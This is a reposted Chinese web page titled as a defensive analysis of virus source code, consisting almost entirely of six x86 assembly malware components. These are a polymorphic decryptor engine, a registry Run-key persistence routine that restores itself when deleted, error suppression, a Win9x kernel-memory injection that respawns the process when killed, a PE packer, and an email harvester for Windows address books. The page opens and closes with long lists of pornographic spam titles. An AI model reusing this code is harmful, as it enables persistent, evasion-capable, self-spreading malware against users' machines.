中文亚洲爆乳AV无码专区_亚洲成AV人片在线观看天堂无_菠萝蜜视频在线观看_欧美综合天天夜夜久久_粉嫩av观看成人网站_亚洲精品无码午夜福利中文字幕_女人被弄到高潮叫床免_VIDEOS日本多毛HD护士_日韩欧美成人免费观看

首頁 > 編程 > Java > 正文

病毒源碼解析之防御分析

2019-09-06 23:33:18
字體:
來源:轉載
供稿:網友
1、超級病毒變形引擎

此段代碼會在DATA段內生成一個解密代碼。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//計算機Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填寫隨機密碼
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填寫DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填寫Ret指令

sub ebx,edi
mov [edi-1],bl ;//填寫jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//計算機得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 瑣定注冊表

.586p
.model flat,STDCALL
.data

HKeyStr db 'SOFTWAREMicrosoftWindowsCurrentVersionRun',0
ValueName db 'wap32',0
PathName db 'wap32.exe',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db 'wap32',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外處理通用程序


此段程序可以達到屏蔽程序錯誤的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db 'Fuck',0

SetSehFrame: ;ecx=忽略錯誤繼續執行地址
pop eax ;彈出返回地址
push ecx ;保存忽略錯誤繼續執行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;彈出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢復原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;彈出忽略錯誤繼續執行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略錯誤繼續執行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下進程不死術

此段程序首先實現Win9x下注射遠程線程(新技術)
然后與Win2k下進程不死術一樣了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;問題,要Sleep()這樣做使Kernel32有機會更新數據
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db 'c:wap32.exe',0

KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、簡單算法,高效率壓縮PE文件

.586p
.model flat,STDCALL
.data

OldFile db 'pe.exe',0
NewFile db 'pe.zzz',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db 'My.WAB',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode郵件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode郵件名個數
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;讀一個記錄
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
99国精产品W灬源码1688| 亚洲全部无码中文字幕| 亚洲国产精品无码久久 | 丰满少妇BBWBBW| 女性の乳頭を遮住する方法 | 51久久夜色精品国产水果派解说 | 香蕉久久人人爽人人爽人人片AV | 大陆国语对白国产AV片| 含着奶头搓揉深深挺进| 无码人妻熟妇av又大又粗浪潮 | 乱VODAFONEWIFI熟妇| 国产精品边做奶水狂喷无码| 人和畜禽CROPROATION| 亚洲V欧美V日韩V国产V| 成人免费乱码大片A毛片| 久久精品国内一区二区三区| 睡着了强行挺进岳身体| 亚洲综合熟女久久久30P| 亚洲人成自拍网站在线观看| AAA欧美色吧激情视频| 国内少妇偷人精品免费| 人妻无码一区二区三区免费视频 | 精品久久综合1区2区3区激情| 免费污站18禁的刺激| 日韩人妻无码精品久久久不卡| 幼儿HIPHOP仙踪林的| 狠狠色噜噜狠狠狠狠97| 久久精品国产99久久香蕉| 欧美精产国品一二三产品工艺| 亚洲旡码A∨一区二区三区| 国产精品成人一区二区不卡| 人妻丰满AV无码久久不卡| 日本高清WWW色视频| 成人特黄A级毛片免费视频| 三上悠亚SSNI452内衣模特 | ASSPICS亚洲美女裸体CH| 人妻人人做人碰人人添 | 亚洲男男GAY 18自慰网站| 国产精品久久自在自线| 妺妺和我裸睡玩我下春雨医生| 亚洲AV成人无码精品综合网站| 成在线人免费无码高潮喷水| 色欲av一区二区三区蜜臀| 性啪啪CHINESE东北女人| 亚洲成A人V欧美综合天堂| 爱性久久久久久久久| 沈陽43歲熟女高潮視頻| 国色天香卡一卡2卡3卡4卡5| 女性自慰网站免费观看W| 51国偷自产一区二区三区| 久久久无码精品亚洲日韩蜜桃| 青青草无码精品伊人久久| 日韩在线一区二区三区| 贵阳40多岁熟女高潮呻吟| 欧美视频在线一区| 亚洲码欧美码一区二区三区| 成 人 网 站 在线 看 免费| 鲁死你AV资源站| 亚洲国产精品久久久久婷婷软件| 国产999精品2卡3卡4卡| 全免费又大粗又黄又爽少妇片 | 私人微信放款24小时在线| CHINESE熟女熟妇2乱| 麻豆精品一卡2卡三卡4卡免费观| 亚洲国产AⅤ天堂久久| 国产精品丝袜无码不卡一区| 三级 丰满 人妻 少妇| MM1313亚洲精品无码又大又| 蜜臀98精品国产免费观看| 亚洲综合国产精品无码AⅤ| 韩国善良的小峓子在钱| 无人免费观看视频在线观看| 丰满老师少妇久久久久久1| 人妻无码久久一区二区三区免费| 18禁无遮拦无码国产在线播放| 久久无码无码久久综合综合| 亚洲欧美日韩中文字幕在线一区| 国内久久婷婷五月综合欲色广啪 | 国外亚洲成AV人片在线观看| 无码中文字幕AⅤ精品影院| 国产成人A码男人的天堂| 色欲网久久久久久久久久久久久久| 爸的比老公大两倍儿媳叫什么呢| 欧美精品双插重口在线播放| 4D肉蒲团之性奴大战奶水| 免费无码久久成人网站| 中文字幕精品亚洲一区| 老牛天天晚上夜噜噜噜| 伊人色综合一区二区三区| 久久久久久久精品成人热小说| 亚洲日韩中文字幕日本| 精品无码久久久久成人漫画| 亚洲精品无码久久久久Y| 精品视频无码一区二区三区| 亚洲乱码一区二三四区AVA| 精品亚洲自慰AV无码喷奶水| 亚洲日韩乱码中文无码蜜桃臀网站 | 蜜臀av蜜臀一区二区三区| 自慰无码一区二区三区| 男女性高爱潮免费网站| 99热最新成人国产精品| 欧美人与禽ZOZZO| 把腿张开老子臊烂你的黄漫| 日本不卡高清兔费V| 大又大又粗又硬又爽少妇毛片| 色一情一乱一伦一视频免费看 | 高潮动态图啪啪吃奶图动态| 十八女人毛片A级毛片水真多| 国产成人综合亚洲AV| 亚欧免费无码AⅤ在线观看蜜桃| 国产最大成人亚洲精品| 亚洲精品V天堂中文字幕| 久久国产精久久精产国| 在线观看亚洲AV每日更新无码| 免费A级毛片18禁网站APP| A级毛片毛片免费观的看久| 人妻一区二区三区Av毛片| 饭桌上故意张开腿让公H视频| 同桌上课脱裙子让我帮他自慰 | 荫蒂每天被三个男人添视频| 免费无码高潮流白浆视频| A在线视频播放观看免费观看| 人人妻人人澡人人乐DVD| 高潮奶水涨喷在线播放| 午夜精品久久久久久毛片| 精品久久久久久无码专区 | 亚洲国产精品人人爽夜夜爽| 久久亚洲中文不卡AV一区二区 | 日本熟老太日本老熟网站| 公和熄小婷乱中文字幕| 亚洲AV成人一区国产精品| 久久精品国产99久久久小说| 236宅宅理论片免费| 日韩精品无码免费专区午夜不卡| 国产精品久久久久9999赢消| 亚洲国产精品一区二区成人片国内| 久久亚洲人成网站| 边做饭边被躁我和邻居的视频| 无码AV人片在线观看天堂| 精品人妻一区二区三区| 99精品又大又爽又粗少妇毛片 | 丰满人妻无码∧V区视频| 亚洲AV综合永久无码精品天堂 | 老汉吸奶水捏奶头小说| 啊灬啊灬啊灬快灬高潮了听书| 我趁老师睡觉摸她奶脱她内裤| 精品国产亚洲一区二区三区| 51被公侵犯玩弄漂亮人妻| 少妇无码太爽了不卡视频在线看 | 国产成人精品久久综合 | 浪荡女天天不停挨CAO日常视频| JIZZ中国JIZZ在线观看| 无码专区无码专区视频网址| 久久无码人妻精品一区二区三区| 草草影院精品一区二区三区| 亚洲AV素人乱码| 妺妺窝人体色www聚色窝图| 丁香色欲久久久久久综合网| 亚洲国产精品一区二区成人片 | 欧美XXXXX高潮喷水麻豆| 国产激情久久久久影院蜜桃AV| 亚洲一本之道高清乱码| 人妻少妇精品专区性色AV| 国产在线国偷精品免费看| 在线天堂中文最新版WWW下载| 色综合天天综合网天天小说| 久久99国产精一区二区三区| 帮妺妺洗澡忍不住C了她作文 | 亚洲国产精品无码中文字| 欧洲RAPPER潮水太多| 国精产品一二二线网站| AAA欧美色吧激情视频| 性妇WBBBB搡BBBB嗓1| 内射爽无广熟女亚洲| 国产精品视频一区二区三区四 | 挺进大幂幂的滋润花苞御女天下| 久久偷看各类WC女厕嘘嘘| 国产爆乳美女娇喘呻吟| 治愈系恋人 电视剧| 无码H肉男男在线观看免费| 美女扒开腿让男人桶爽免费| 国产高清在线精品一区二区三区 | 把女人弄爽特黄A大片片| 亚洲国产AⅤ精品一区二区30P| 人扒开女人添高潮的视频嗯啊| 国内少妇高潮嗷嗷叫在线播放| しぼっちうぞ2在线观看1一| 亚洲精品一区二区三浪潮AV| 日产乱码一二三区别免费影视 | 最新无码国产在线视频9299| 小少妇BBBBBBBBBBBB| 欧美一区二区三区啪啪| 精品一区二区三区在线观看| 俄罗斯IPHONE14PRO| 中文乱码人妻一区二区三区视频| 无码中文字幕人妻在线一区| 欧美最猛激情性AAAAA| 久久久久精品国产99久久综合| 国产99网站免在线观看| 777米奇第四在线观看|